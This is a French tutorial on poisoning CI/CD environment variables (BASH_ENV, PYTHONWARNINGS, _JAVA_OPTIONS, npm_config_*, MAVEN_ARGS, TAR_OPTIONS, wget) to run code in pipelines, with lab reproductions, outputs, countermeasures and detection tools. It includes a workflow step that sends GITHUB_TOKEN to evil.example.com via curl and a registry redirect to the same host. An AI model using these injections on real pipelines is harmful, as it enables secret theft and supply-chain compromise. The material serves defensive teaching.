Un pipeline CI/CD exécute tar xf archive.tar pour extraire des artefacts de
build. Rien de suspect dans le code, rien de malveillant dans l’archive. Pourtant,
une commande arbitraire s’exécute à chaque extraction. Le coupable ?
TAR_OPTIONS, une variable d’environnement que personne ne surveille.
Ce guide présente 6 variables d’environnement qui permettent d’exécuter du code arbitraire dans vos pipelines — sans toucher au code source, sans modifier les fichiers de configuration, sans déclencher d’alerte. Vous apprendrez à les identifier, les reproduire en lab, et les neutraliser.
Ce que vous allez apprendre
Section intitulée « Ce que vous allez apprendre »- Pourquoi les variables d’environnement sont un vecteur d’attaque sous-estimé en CI/CD
- 6 techniques concrètes exploitant
BASH_ENV,_JAVA_OPTIONS,PYTHONWARNINGS,npm_config_*,MAVEN_ARGSetTAR_OPTIONS - Comment reproduire chaque attaque en toute sécurité dans un lab
- Les contre-mesures pour protéger vos pipelines
Pourquoi les variables d’environnement sont dangereuses
Section intitulée « Pourquoi les variables d’environnement sont dangereuses »Le problème fondamental
Section intitulée « Le problème fondamental »Dans un pipeline CI/CD, les variables d’environnement jouent un rôle central : elles transportent les secrets (tokens, clés API), les paramètres de configuration (registres, chemins) et les métadonnées du build (commit, branche).
Le problème : de nombreux outils lisent des variables d’environnement pour modifier leur comportement — et certaines de ces variables permettent d’exécuter du code arbitraire. C’est du “built-in”, pas un bug : les outils font exactement ce pour quoi ils sont conçus.
L’analogie de la boîte aux lettres
Section intitulée « L’analogie de la boîte aux lettres »Imaginez votre pipeline comme un immeuble. Les variables d’environnement sont
les boîtes aux lettres du hall d’entrée. Normalement, elles contiennent du
courrier légitime. Mais si quelqu’un glisse des instructions piégées dans la
boîte de bash, java ou tar, ces outils les exécutent sans poser de
questions — ils ne vérifient pas qui a déposé le courrier.
Comment un attaquant empoisonne les variables
Section intitulée « Comment un attaquant empoisonne les variables »Un attaquant peut modifier les variables d’environnement d’un pipeline de plusieurs façons :
| Vecteur | Technique | Exemple |
|---|---|---|
$GITHUB_ENV | Écriture dans le fichier pointé par $GITHUB_ENV | echo "BASH_ENV=malicious.sh" >> $GITHUB_ENV |
| PR malveillante | Fichier de workflow modifié dans la PR | env: MAVEN_ARGS: "..." dans le YAML |
| Action compromise | Une action tierce définit des variables | core.exportVariable('TAR_OPTIONS', '...') |
| Injection workflow | Expression ${{ }} non protégée | ${{ github.event.issue.title }} dans un env: |
| Cache/artefact | Fichier .env restauré depuis un cache empoisonné | Cache contenant un .env modifié |
Les 8 outils exploitables
Section intitulée « Les 8 outils exploitables »Le projet LOTP documente 8 outils vulnérables à l’empoisonnement de variables d’environnement. Ce guide couvre les 6 plus courants en environnement DevOps.
| Outil | Variable(s) | Mécanisme | Gravité |
|---|---|---|---|
| bash | BASH_ENV | Évalué avant chaque shell non-interactif | Critique |
| python | PYTHONWARNINGS + BROWSER + BASH_ENV | Chaîne de 3 variables | Haute |
| java | _JAVA_OPTIONS, JAVA_TOOL_OPTIONS | -XX:OnOutOfMemoryError + -Xmx2m | Haute |
| npm | npm_config_* | Tout npm_config_X → paramètre npm | Haute |
| maven | MAVEN_ARGS | Injection d’arguments, plugin exec | Haute |
| tar | TAR_OPTIONS | --checkpoint-action=exec= | Haute |
| wget | WGETRC / use_askpass | Exécution d’un script comme “askpass” | Moyenne |
| pip | PIP_INDEX_URL | Redirection du registre PyPI | Moyenne |
Technique 1 : BASH_ENV — le plus dangereux
Section intitulée « Technique 1 : BASH_ENV — le plus dangereux »Pourquoi c’est critique
Section intitulée « Pourquoi c’est critique »BASH_ENV est la technique la plus dangereuse car bash est présent dans
quasiment tous les pipelines. Chaque step run: dans GitHub Actions utilise
bash par défaut. La variable BASH_ENV est évaluée avant l’exécution de
chaque script non-interactif.
Comment ça marche
Section intitulée « Comment ça marche »-
L’attaquant écrit dans
$GITHUB_ENV: un step compromis (action tierce, injection) ajoute une ligneBASH_ENV=commandedans le fichier pointé par$GITHUB_ENV. -
Le runner charge la variable : entre deux steps, GitHub Actions lit
$GITHUB_ENVet exporte les variables dans l’environnement. -
Bash évalue
BASH_ENV: au step suivant, bash exécute le contenu deBASH_ENVavant le script légitime. Le code malveillant s’exécute avec les mêmes droits et les mêmes secrets.
Exemple de lab
Section intitulée « Exemple de lab »Dans un pipeline GitHub Actions, l’empoisonnement ressemble à ceci :
# Step 1 : une action tierce compromise empoisonne BASH_ENV- name: Setup (action compromise) run: | echo 'BASH_ENV=$(curl https://evil.example.com/collect?token=$GITHUB_TOKEN)' >> $GITHUB_ENV
# Step 2 : step légitime — BASH_ENV s'exécute AVANT- name: Build run: | npm install # BASH_ENV a déjà exfiltré le token npm testDans le lab local (lab-lotp/14-env-bash/), la simulation fonctionne ainsi :
# Simuler $GITHUB_ENVGITHUB_ENV=$(mktemp)
# L'attaquant empoisonne BASH_ENVecho 'BASH_ENV=$(echo "[!] CODE EXÉCUTÉ — id: $(id)" 1>&2)' >> "$GITHUB_ENV"
# Charger les variables (comme le runner)while IFS= read -r line; do eval "export $line"done < "$GITHUB_ENV"
# Le step suivant exécute BASH_ENV avant toutbash victim-step.shRésultat du lab :
[!] CODE EXÉCUTÉ VIA BASH_ENV — id: uid=1000(bob) gid=1000(bob) ...[Step 2] Démarrage du build légitime...[Step 2] npm install && npm test[Step 2] Build terminé avec succès.Le code malveillant s’exécute avant le build légitime.
Technique 2 : PYTHONWARNINGS — la chaîne invisible
Section intitulée « Technique 2 : PYTHONWARNINGS — la chaîne invisible »Pourquoi c’est redoutable
Section intitulée « Pourquoi c’est redoutable »Python ne charge aucun fichier de configuration local par défaut. Mais une
chaîne de 3 variables permet quand même d’obtenir de l’exécution de code
avant toute invocation de python ou pip.
Comment ça marche
Section intitulée « Comment ça marche »La chaîne exploite un easter egg du module antigravity de Python :
-
PYTHONWARNINGS="::antigravity.::"charge le moduleantigravity— ce module est conçu pour ouvrir une page xkcd dans un navigateur. -
antigravityutilise le modulewebbrowser— qui lit la variableBROWSERpour choisir quel exécutable ouvrir. -
BROWSER="/bin/bash"redirige vers bash — au lieu d’un navigateur, c’est bash qui est lancé avec l’URL comme argument. -
BASH_ENV="$(commande)"intercepte le lancement de bash — le code s’exécute avant que bash ne traite l’URL.
Exemple de lab
Section intitulée « Exemple de lab »# Les 3 variables de la chaîneexport PYTHONWARNINGS="::antigravity.::"export BROWSER="/bin/bash"export BASH_ENV='$(echo "[!] CODE EXÉCUTÉ via chaîne Python" 1>&2; \ f=$(mktemp); echo exit > $f; echo $f)'
# N'importe quelle invocation de Python déclenche la chaînepython3 -c "print(42)"Résultat du lab :
[!] CODE EXÉCUTÉ via chaîne PYTHONWARNINGS→BROWSER→BASH_ENVInvalid -W option ignored: unknown warning category: 'antigravity.'42Le code injecté s’exécute avant print(42). Cela fonctionne aussi avec
pip install, pytest, mypy — tout ce qui lance l’interpréteur Python.
Technique 3 : _JAVA_OPTIONS — crash provoqué
Section intitulée « Technique 3 : _JAVA_OPTIONS — crash provoqué »Pourquoi c’est efficace
Section intitulée « Pourquoi c’est efficace »Les variables _JAVA_OPTIONS, JAVA_TOOL_OPTIONS et JDK_JAVA_OPTIONS
ajoutent des arguments à toute invocation de la JVM. Combinées avec une
limite mémoire absurde, elles permettent d’exécuter du code au crash.
Comment ça marche
Section intitulée « Comment ça marche »-
_JAVA_OPTIONSinjecte des arguments JVM — la variable est lue par toutes les implémentations Java avant le démarrage. -
-Xmx2mprovoque un crash — la heap est limitée à 2 Mo, ce qui cause unOutOfMemoryErrordans quasiment tout programme Java. -
-XX:OnOutOfMemoryError="cmd"exécute une commande — ce flag est conçu pour le diagnostic, mais il exécute n’importe quelle commande shell.
Exemple de lab
Section intitulée « Exemple de lab »# Empoisonner _JAVA_OPTIONSexport _JAVA_OPTIONS='-XX:OnOutOfMemoryError="echo [!] RCE via Java" -Xmx2m'
# Toute commande Java déclenche l'exécutionjava Hello # Programme simplemvn clean install # Build Mavengradle build # Build GradleRésultat attendu :
Picked up _JAVA_OPTIONS: -XX:OnOutOfMemoryError="echo [!] RCE via Java" -Xmx2mjava.lang.OutOfMemoryError: Java heap space[!] RCE via JavaTechnique 4 : npm_config_* — le piège du préfixe
Section intitulée « Technique 4 : npm_config_* — le piège du préfixe »Pourquoi c’est sournois
Section intitulée « Pourquoi c’est sournois »npm interprète toute variable d’environnement commençant par npm_config_
comme un paramètre de configuration. Ce comportement est documenté mais peu
connu — et il ouvre deux vecteurs d’attaque.
Les deux attaques
Section intitulée « Les deux attaques »Attaque 1 — Détournement du shell : npm_config_script_shell remplace le
shell utilisé pour exécuter les scripts npm. Au lieu de /bin/sh, npm utilise le
script de l’attaquant.
Attaque 2 — Redirection du registre : npm_config_registry redirige
npm install vers un registre contrôlé par l’attaquant. Les packages installés
proviennent d’une source malveillante.
Exemple de lab
Section intitulée « Exemple de lab »# Attaque 1 : détourner le shell pour les scripts npmexport npm_config_script_shell="./pwn.sh"npm test # pwn.sh est exécuté au lieu de /bin/sh
# Attaque 2 : rediriger le registreexport npm_config_registry="https://evil.example.com/"npm install # packages téléchargés depuis le registre malveillantRésultat du lab :
> lab-17@1.0.0 test> echo 'Running tests...'
[!] CODE EXÉCUTÉ — npm_config_script_shell a détourné le shell[!] Arguments reçus: -c echo 'Running tests...'[!] id: uid=1000(bob) gid=1000(bob) ...[*] 'npm config get registry' retourne :https://evil.example.com/Technique 5 : MAVEN_ARGS — injection de plugin
Section intitulée « Technique 5 : MAVEN_ARGS — injection de plugin »Pourquoi c’est dangereux
Section intitulée « Pourquoi c’est dangereux »Depuis Maven 3.9, la variable MAVEN_ARGS permet d’ajouter des arguments à
toute commande mvn. Un attaquant peut injecter le plugin exec-maven-plugin
pour exécuter des commandes shell.
Comment ça marche
Section intitulée « Comment ça marche »export MAVEN_ARGS="org.codehaus.mojo:exec-maven-plugin:3.2.0:exec \ -Dexec.executable=/bin/sh \ -Dexec.args='-c echo [!] RCE via MAVEN_ARGS'"
# Toute commande Maven exécute le code injectémvn clean installmvn testmvn packageLe plugin exec-maven-plugin est téléchargé depuis Maven Central (c’est un
plugin légitime) et exécute la commande spécifiée. Aucune modification du
pom.xml n’est nécessaire.
Technique 6 : TAR_OPTIONS — le fantôme des archives
Section intitulée « Technique 6 : TAR_OPTIONS — le fantôme des archives »Pourquoi tar est un piège
Section intitulée « Pourquoi tar est un piège »tar est utilisé partout dans les pipelines : extraction d’artefacts,
décompression de caches, restauration de dépendances. La variable TAR_OPTIONS
est ajoutée en tête de chaque commande tar, et l’option
--checkpoint-action=exec= permet d’exécuter une commande à chaque fichier
traité.
Exemple de lab
Section intitulée « Exemple de lab »# Empoisonner TAR_OPTIONSexport TAR_OPTIONS="--checkpoint=1 \ --checkpoint-action=exec=echo\ [!]\ CODE\ EXÉCUTÉ\ via\ TAR_OPTIONS"
# Toute commande tar exécute le code injectétar cf archive.tar fichier.txt # Création → exécutiontar xf archive.tar # Extraction → exécutionRésultat du lab :
[!] CODE EXÉCUTÉ via TAR_OPTIONSChaque opération tar dans le pipeline — y compris celles effectuées en interne
par le runner pour restaurer les caches — exécute le code injecté.
Technique bonus : wget et use_askpass
Section intitulée « Technique bonus : wget et use_askpass »wget peut être configuré via un fichier .wgetrc ou la variable WGETRC.
La directive use_askpass spécifie un exécutable pour demander les credentials
HTTP — un attaquant peut le pointer vers un script arbitraire.
# Créer un .wgetrc malveillantecho 'use_askpass=./pwn.sh' > .wgetrcexport WGETRC="$(pwd)/.wgetrc"
# Toute invocation de wget exécute pwn.shwget https://example.com -O /dev/nullScénario d’attaque réaliste
Section intitulée « Scénario d’attaque réaliste »Voici comment ces techniques s’enchaînent dans un vrai scénario d’attaque :
-
L’attaquant soumet une PR vers un repo open source populaire. La PR modifie un fichier de test anodin.
-
Le workflow
pull_request_targetse déclenche et exécute une action tierce compromise (ou une action dont le tag a été modifié). -
L’action compromise écrit dans
$GITHUB_ENVtrois lignes :BASH_ENV,TAR_OPTIONS, etnpm_config_registry. -
Les steps suivants du même job sont compromis — les secrets sont exfiltrés via
BASH_ENV, les artefacts tar contiennent du code malveillant, et les futures installations npm proviennent d’un registre piégé. -
Aucune alerte ne se déclenche — le code source n’a pas été modifié, les logs montrent un build “normal” (le code malveillant est exécuté en mode silencieux).
Contre-mesures
Section intitulée « Contre-mesures »Niveau 1 — Actions immédiates
Section intitulée « Niveau 1 — Actions immédiates »| Action | Protection | Effort |
|---|---|---|
| Épingler les actions sur un SHA | Empêche la modification des tags | Faible |
Limiter les permissions GITHUB_TOKEN | Réduit l’impact d’une exfiltration | Faible |
Auditer les $GITHUB_ENV writes | Détecte les écritures suspectes | Moyen |
Utiliser --ignore-scripts pour npm ci | Bloque postinstall et le détournement shell | Faible |
Niveau 2 — Durcissement du pipeline
Section intitulée « Niveau 2 — Durcissement du pipeline »-
Isoler les steps sensibles dans des jobs séparés. Les variables d’environnement empoisonnées ne se propagent pas entre jobs (chaque job utilise un runner frais). Séparez les steps qui exécutent du code non fiable des steps qui manipulent des secrets.
-
Nettoyer les variables critiques en début de step. Ajoutez un step de “sanitization” qui
unsetles variables dangereuses :Step de nettoyage - name: Sanitize envrun: |unset BASH_ENV TAR_OPTIONS _JAVA_OPTIONS JAVA_TOOL_OPTIONSunset MAVEN_ARGS PYTHONWARNINGS BROWSERenv | grep -i "npm_config_" | cut -d= -f1 | xargs -I{} unset {} -
Utiliser des runners éphémères. Un runner qui est détruit après chaque job empêche la persistance de variables empoisonnées entre les exécutions.
-
Verrouiller l’accès à
$GITHUB_ENV. Restreindre les actions qui ont le droit d’écrire dans$GITHUB_ENVvia des workflows réutilisables où le$GITHUB_ENVn’est pas partagé.
Niveau 3 — Détection automatisée
Section intitulée « Niveau 3 — Détection automatisée »Les outils de sécurité CI/CD détectent certains de ces patterns :
| Outil | Détection | Lien |
|---|---|---|
| Zizmor | Écriture dans $GITHUB_ENV par des steps non contrôlés | Guide zizmor |
| Poutine | Exécution de code après checkout d’une PR non fiable | Guide poutine |
| StepSecurity Harden-Runner | Surveillance réseau et processus en temps réel | harden-runner |
Dépannage
Section intitulée « Dépannage »| Symptôme | Cause probable | Solution |
|---|---|---|
| Code exécuté avant le script dans un step | BASH_ENV empoisonné | unset BASH_ENV en début de step |
npm install télécharge depuis un registre inconnu | npm_config_registry modifié | npm config get registry + unset npm_config_registry |
Java crash OutOfMemoryError inattendu | _JAVA_OPTIONS avec -Xmx2m | echo $_JAVA_OPTIONS + unset _JAVA_OPTIONS |
| Commande tar exécute du code inattendu | TAR_OPTIONS empoisonné | echo $TAR_OPTIONS + unset TAR_OPTIONS |
wget appelle un script inattendu | .wgetrc avec use_askpass | Vérifier $WGETRC et ~/.wgetrc |
| Python lance un navigateur au démarrage | PYTHONWARNINGS → antigravity | unset PYTHONWARNINGS BROWSER |
| Maven exécute un plugin non déclaré dans pom.xml | MAVEN_ARGS injecte un plugin | echo $MAVEN_ARGS + unset MAVEN_ARGS |
Récapitulatif des labs
Section intitulée « Récapitulatif des labs »Tous les labs sont disponibles dans le dossier lab-lotp/ et sont conçus pour
être exécutés en local, en toute sécurité :
| Lab | Dossier | Technique | Testé |
|---|---|---|---|
| BASH_ENV | 14-env-bash/ | Empoisonnement via $GITHUB_ENV simulé | Oui |
| PYTHONWARNINGS | 15-env-python/ | Chaîne PYTHONWARNINGS → BROWSER → BASH_ENV | Oui |
| _JAVA_OPTIONS | 16-env-java/ | OutOfMemoryError → OnOutOfMemoryError | JDK requis |
| npm_config_* | 17-env-npm/ | script_shell + registry redirect | Oui |
| TAR_OPTIONS | 18-env-tar/ | checkpoint-action=exec | Oui |
| wget use_askpass | 20-env-wget/ | .wgetrc + use_askpass | Oui |
À retenir
Section intitulée « À retenir »-
Les variables d’environnement sont un vecteur d’attaque invisible : elles ne modifient ni le code source ni les fichiers de configuration.
-
BASH_ENVest la plus dangereuse car bash est présent dans quasiment tous les pipelines et la variable est évaluée avant chaque script. -
8 outils courants sont exploitables : bash, python, java, npm, maven, tar, wget, pip. La liste complète est dans le projet LOTP.
-
L’empoisonnement se produit souvent via
$GITHUB_ENV, les actions tierces compromises, ou les expressions${{ }}non protégées. -
La contre-mesure la plus efficace est l’isolation entre jobs : les variables empoisonnées ne se propagent pas d’un job à l’autre.
-
Combiner l’isolation avec l’épinglage SHA des actions, le nettoyage des variables, et les outils de détection (zizmor, Poutine) pour une défense en profondeur.